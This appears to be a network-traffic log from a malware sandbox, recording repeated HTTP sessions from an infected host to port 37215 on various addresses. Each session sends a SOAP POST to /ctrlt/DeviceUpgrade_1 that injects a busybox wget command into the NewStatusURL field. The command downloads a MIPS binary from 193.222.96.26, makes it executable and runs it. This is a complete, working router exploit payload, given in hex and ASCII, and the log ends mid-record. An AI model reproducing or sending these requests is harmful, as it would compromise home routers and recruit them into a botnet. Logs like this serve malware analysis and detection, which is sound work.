Nov 19, 2023 09:16:51.143822908 CET	1852	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:16.228204012 CET	2573	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	197.56.141.175	37215	192.168.2.23	45424

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:30.240555048 CET	1312	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:30.498311996 CET	1314	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.23	45424	197.56.141.175	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:30.240555048 CET	1312	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:30.498311996 CET	1314	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.23	40504	41.47.169.189	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:35.799464941 CET	1476	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:36.069601059 CET	1479	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	41.47.169.189	37215	192.168.2.23	40504

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:35.799464941 CET	1476	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:36.069601059 CET	1479	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	156.254.111.62	37215	192.168.2.23	60280

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:13.544725895 CET	840	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:15.144803047 CET	867	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:17.032483101 CET	948	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" 